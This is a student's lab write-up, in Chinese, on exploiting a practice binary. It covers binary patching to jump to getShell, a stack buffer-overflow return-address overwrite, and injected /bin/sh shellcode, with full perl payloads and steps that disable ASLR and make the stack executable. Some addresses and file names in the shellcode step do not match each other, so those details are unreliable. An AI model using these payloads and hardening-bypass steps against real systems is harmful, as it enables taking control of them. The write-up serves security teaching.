20242830 2024-2025-2 《网络攻防实践》第九周作业
20242830 2024-2025-2 《网络攻防实践》第九周作业
一、知识点梳理与总结
本次实验主要通过直接修改程序的二进制文件,可以改变程序的执行流程。例如,通过修改函数调用的地址,强制程序跳转到目标函数(如 getShell)。这需要对程序的内存布局和指令地址有深入的理解。以及利用 foo 函数的缓冲区溢出(Bof)漏洞,可以覆盖栈上的返回地址,使程序在函数返回时跳转到目标地址(如 getShell)。这需要理解栈的结构、返回地址的位置以及如何构造恶意输入字符串。
通过编写自定义的 Shellcode(如启动一个 Shell),并将其注入到程序的内存中,可以绕过程序原有的逻辑,直接执行恶意代码,是一段精心构造的机器代码(通常是汇编语言编写),用于在目标系统上执行特定操作。最常见的 Shellcode 是启动一个 Shell(如 /bin/sh),使攻击者能够获得对目标系统的控制权。。这需要掌握汇编语言、Shellcode 的构造方法以及如何在程序中找到合适的注入点。在注入 Shellcode 后,需要通过调试工具(如 GDB)验证代码的执行效果,确保 Shellcode 能够正确运行并达到预期目标。
1. 实验环境
-
运行环境:本次实验使用VirutalBox的kali虚拟机作为实验环境
-
kali:192.168.200.5
-
winxp:192.168.200.4
-
Metasploitable:192.168.200.123
-
win2000:192.168.200.124
2. 实验内容与原理
-
缓冲区溢出:常见的安全漏洞,发生在程序试图将超过缓冲区容量的数据写入到一个固定大小的内存缓冲区时。由于缓冲区的大小是固定的,超出部分的数据会覆盖相邻的内存区域,包括程序的控制数据(如返回地址、函数指针等)。这可能导致程序崩溃、执行非预期的代码,甚至被攻击者利用来执行恶意操作。
-
Shellcode特点:Shellcode 是一段独立的代码,不依赖于上下文环境,通常非常短小,以适应缓冲区的大小限制。Shellcode 需要针对特定的架构和操作系统进行编写通常避免使用 NULL 字符,因为许多函数在遇到 NULL 字符时会停止读取数据。
-
构造shellcode:使用汇编语言编写代码,实现所需功能,通过漏洞(如缓冲区溢出)将 Shellcode 注入到目标程序的内存中。
-
反汇编:常用于软件破解(例如找到它是如何注册的,从而解出它的注册码或者编写注册机)、外挂技术、病毒分析、逆向工程、软件汉化等领域。学习和理解反汇编语言对软件调试、漏洞分析、OS的内核原理及理解高级语言代码都有相当大的帮助,在此过程中我们可以领悟到软件作者的编程思想。总之一句话:软件一切神秘的运行机制全在反汇编代码里面。
| 重要概念 | 定义 | 示例 |
|---|---|---|
| 缓冲区 | 程序中分配了一块固定大小的内存区域(缓冲区),用于存储数据(如字符串、数组等)。当程序试图将超过缓冲区大小的数据写入时,超出部分的数据会覆盖相邻的内存区域。 | 假设有一个函数 foo,它使用 gets 函数读取用户输入并存储到一个大小为 64 字节的缓冲区中,如果用户输入超过 64 字节的数据,超出部分会覆盖栈上的其他数据,包括 foo 函数的返回地址。攻击者可以构造一个输入字符串,覆盖返回地址,使其指向恶意代码(如 getShell 函数)。 |
| Shellcode | Shellcode 通常与缓冲区溢出等漏洞结合使用,通过覆盖返回地址或利用其他漏洞将控制流劫持到 Shellcode。 | 通过劫持控制流(如覆盖返回地址),使程序跳转到 Shellcode 的起始地址并执行。 |
| 反汇编 | 把目标代码转为汇编代码的过程,也可以说是把机器语言转换为汇编语言代码、低级转高级的意思 | 编译过程会造成丢失、源程序可以通过多种不同的方式转换成汇编语言,机器语言也可以通过许多不同的方式转换成源程序。 |
- 总区别:缓冲区溢出 是一种常见的安全漏洞,允许攻击者通过覆盖内存中的控制数据来劫持程序的执行流程。Shellcode 是一段独立的机器代码,用于在目标系统上执行特定操作,通常与缓冲区溢出等漏洞结合使用。
二、实验过程
1.任务一:手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数
在主机上下载解压pwn压缩包,复制到kali上

1.1 输入指令,对pwn1文件进行反汇编操作
cd Desktop
objdump -d pwn1 | more
- 在命令行的众多信息中可以看到getShell、foo、main等一系列函数


main函数中的第四行的call指令,调用foo函数,call指令的机器码是e8。而08 04 84 91(foo的起始地址)= 08 04 84 ba(main函数中call指令的结束地址)+ff ff ff d7(栈是逆序)
如果现在不调用foo函数,改为调用getShell函数,由于08 04 84 7d - 08 04 84 ba = ff ff ff c3,所以我们只需要把main函数中call指令的目标地址由d7 ff ff ff 改为c3 ff ff ff即可。
1.2 进行具体修改
首先使用指令对pwn1文件进行保护,防止破坏
cp pwn1 pwn20242830

然后用vi编辑器打开拷贝出来的pwn1 pwn20242830,
vim pwn1 pwn20242830
-
可以看到在上述操作后得到一串乱码,按下esc离开编辑模式,然后键入:%!xxd,切换到16进制模式


-
接着输入指令::wq 进行保存并退出,输入 ls -l,查看文件权限

1.3 再次进入pwn20242830文件,进行修改。输入/e8 d7找到要修改内容的位置,根据上述分析,将d7 改为 c3


-
然后按ESC,输入:%!xxd -r转换为原来的格式

-
按ESC,输入:wq!保存退出

1.4 输入指令再次进行验证
objdump -d pwn20242830 | more
已经成功修改


2.任务二:利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数
getShell起始函数地址为0804847d

foo函数执行完成之后,main函数下一条指令的地址为80484ba,而main函数调用函数foo会在堆栈上压入返回地址:80484ba,接下来要做的就是通过foo函数的Bof漏洞输入一段设计好的字符串覆盖掉80484ba,使得80484 ba的值为080484 7d,这样就会执行getshell函数。
2.1在虚拟机终端输入指令,安装gdb

apt install gdb
2.2 接着输入命令:gdb pwn1调式程序

- 输入r,回车,表示运行这个文件

2.3 输入一定长字符串
-
字符串:123456123456123456123456123456123456
-
程序输出该字符串,报错“Segmentation fault”,原因是输入超过28个,程序无法正常退出,产生溢出
18
查看寄存器eip的值info r
-
0x35353535 表示 5555,发现输入的后几位的“5”覆盖到了堆栈上的返回地址,但不知道是具体哪几位的5被覆盖,所以需要修改字符重新具体定位。然后只要把这四个字符替换为getShell的内存地址,输入给pwn1,pwn1就会运行getShell

-
继续调试,输入r,再输入1111111122222222333333334444444412345678:
再次查看指令寄存器eip内的值为:0x34333231,表示4321。
由此可知,我们输入的字符1111111122222222333333334444444412345678中的1234覆盖了返回地址的值,所以接下来我们需要修改1234的值为0x 08 04 84 7d进行覆盖。

-
正确输入应为11111111222222223333333344444444\x7d\x84\x04\x08,我们没法通过键盘输入\x7d\x84\x04\x08这样的16进制值,所以可以先生成包括这样字符串的一个文件。
2.4 在一个新终端中键入
perl -e ‘print “11111111222222223333333344444444\x7d\x84\x04\x08\x0a”’ > input

- 然后输入xxd input,可以通过xxd查看文件十六进制格式的内容

2.5 输入 ls 进行测试,发现程序成功调用了getShell函数

3.任务三:注入一个自己制作的shellcode并运行这段shellcode
3.1 安装execstack
apt-get install execstack

3.2 修改设置
-
设置堆栈可执行
cd Desktop execstack -s pwn1

- 查询文件的堆栈是否可执行
execstack -q pwn1

- 查询是否关闭地址随机化、关闭地址随机化
more /proc/sys/kernel/randomize_va_space
echo “0” > /proc/sys/kernel/randomize_va_space

3.3 输入命令
perl -e 'print "A" x 32; print "\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_20242830

其中,前32个A是用来填满缓冲区buf,“\x04\x03\x02\x01”是预留的返回地址retaddr
- 然后在该终端运行
(cat input_20242830;cat) | ./pwn1

- 打开另一个终端,运行ps -ef | grep pwn,可以看到pwn的进程46126

- 在新终端中用gdb的attach 46126命令启动gdb调试这个进程

- 使用命令命令反汇编,设置断点查看注入buf的内存地址
disassemble foo

- 输入指令设置断点,输入命令(continue)继续运行
b *0x080484ae
c


3.4 返回调试终端,输入命令
info r esp
-
查看栈顶指针所在的位置为 0xffddebc4查找地址为0xffddebc4

-
输入命令查看其存放内容,看到了0x01020304,就是返回地址的位置。根据我们构造的input_shellcode可知,shellcode就在其后,x/16x 0xffddebc4+0x00000004=0xffddebc8,所以地址应为0xffddebc8。
x/16x

3.5 接下来只需要将之前的\x4\x3\x2\x1改为这个地址0xffddebc8即可
perl -e 'print "A" x 32; print "\x80\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_20242830

3.6 输入命令次执行程序,攻击成功
(cat input_20222948;cat) | ./pwn1

三、学习中遇到的问题及解决
-
问题1:安装gdb的时候一直报错

-
问题1解决方案:安装升级包过后可以顺利安装
-
问题二:运行pwn1的时候,权限不够

-
问题二解决方案:输入chmod 577 pwn1给权限解决问题。
四、学习感悟与思考
实验让我意识到漏洞利用的复杂性和精确性。无论是手工修改可执行文件,还是利用 Bof 漏洞,都需要对程序的内存结构、指令地址以及漏洞原理有清晰的认识。而 Shellcode 的注入与执行则进一步展示了攻击者如何通过精心构造的代码绕过安全机制,这让我对安全防护的重要性有了更深的认识。实验过程中遇到的调试问题也让我体会到耐心和细致的重要性。在构造输入字符串或调试 Shellcode 时,一个小的错误可能导致整个实验失败。通过不断尝试和调整,我不仅解决了问题,也对程序运行机制有了更深入的理解。最重要的是程序的执行路径并非固定不变,而是可以通过修改内存布局或利用漏洞进行改变。这让我认识到,程序的安全性不仅依赖于代码逻辑的正确性,还需要对底层运行机制有深入的理解。

浙公网安备 33010602011771号